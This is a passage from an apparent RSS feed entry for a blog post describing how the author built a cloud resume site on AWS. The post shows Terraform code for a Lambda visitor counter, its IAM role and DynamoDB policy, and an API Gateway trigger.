  type = "zip"

  source_dir  = "${path.module}/src"
  output_path = "${path.module}/src.zip"
}    

resource "aws_s3_object" "this" {
  bucket = aws_s3_bucket.cloud-resume-bucket.id

  key    = "src.zip"
  source = data.archive_file.lambda_zip.output_path

  etag = filemd5(data.archive_file.lambda_zip.output_path)
}

//Define lambda function
resource "aws_lambda_function" "apigw_lambda_ddb" {
  function_name = "app"
  description = "visiter counter"

  s3_bucket = aws_s3_bucket.cloud-resume-bucket.id
  s3_key    = aws_s3_object.this.key

  runtime = "python3.8"
  handler = "app.lambda_handler"

  source_code_hash = data.archive_file.lambda_zip.output_base64sha256

  role = aws_iam_role.lambda_exec.arn

  environment {
    variables = {
      DDB_TABLE = var.dynamodb_table
    }
  }


} 

resource "aws_iam_role" "lambda_exec" {
  name_prefix = "LambdaDdbPost"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Sid    = ""
      Principal = {
        Service = "lambda.amazonaws.com"
      }
      }
    ]
  })
}

resource "aws_iam_policy" "lambda_exec_role" {
  name_prefix = "lambda-tf-pattern-ddb-post"

  policy = &amp;lt;&amp;lt;POLICY
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "dynamodb:GetItem",
                "dynamodb:UpdateItem"
            ],
            "Resource": "arn:aws:dynamodb:*:*:table/${var.dynamodb_table}"
        }
    ]
}
POLICY
}

resource "aws_iam_role_policy_attachment" "lambda_policy" {
  role       = aws_iam_role.lambda_exec.name
  policy_arn = aws_iam_policy.lambda_exec_role.arn
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API Gateway to trigger Lambda function.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I set up API Gateway to trigger Lambda Func.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# resource "random_string" "random" {
#   length           = 4
#   special          = false
# }

resource "aws_apigatewayv2_api" "http_lambda" {
  # name          = "${var.apigw_name}-${random_string.random.id}"
  name          = "${var.apigw_name}"
  protocol_type = "HTTP"
}

resource "aws_apigatewayv2_stage" "default" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  name        = "$default"
  auto_deploy = true
}

resource "aws_apigatewayv2_integration" "apigw_lambda" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  integration_uri    = aws_lambda_function.apigw_lambda_ddb.invoke_arn
  integration_type   = "AWS_PROXY"
  integration_method = "POST"
}

resource "aws_apigatewayv2_route" "get" {
  api_id = aws_apigatewayv2_api.http_lambda.id

  route_key = "GET /" 
  target    = "integrations/${aws_apigatewayv2_integration.apigw_lambda.id}"
}

# Gives an external source permission to access the Lambda function.
resource "aws_lambda_permission" "api_gw" {                            
  statement_id  = "AllowExecutionFromAPIGateway"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.apigw_lambda_ddb.function_name
  principal     = "apigateway.amazonaws.com"

  source_arn = "${aws_apigatewayv2_api.http_lambda.execution_arn}/*/*"
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Then, after setting up the CI/CD process with Github actions, I launched the website. This blog post is just a summary of my work. I faced many difficulties while completing this. The hardest step for me was connecting the Lambda - APIGW - DynamoDB services, but after some thought and research I was able to get around this. Thank you for reading, if you want to reach the codes of the project in detail, you can visit my GitHub account.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="//tahayagizguler.tech"&gt;My Resume Site&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/tahayagizguler/cloudresumeAWS" rel="noopener noreferrer"&gt;GitHub Link of The Project&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>devops</category>
      <category>python</category>
    </item>
  </channel>
</rss>
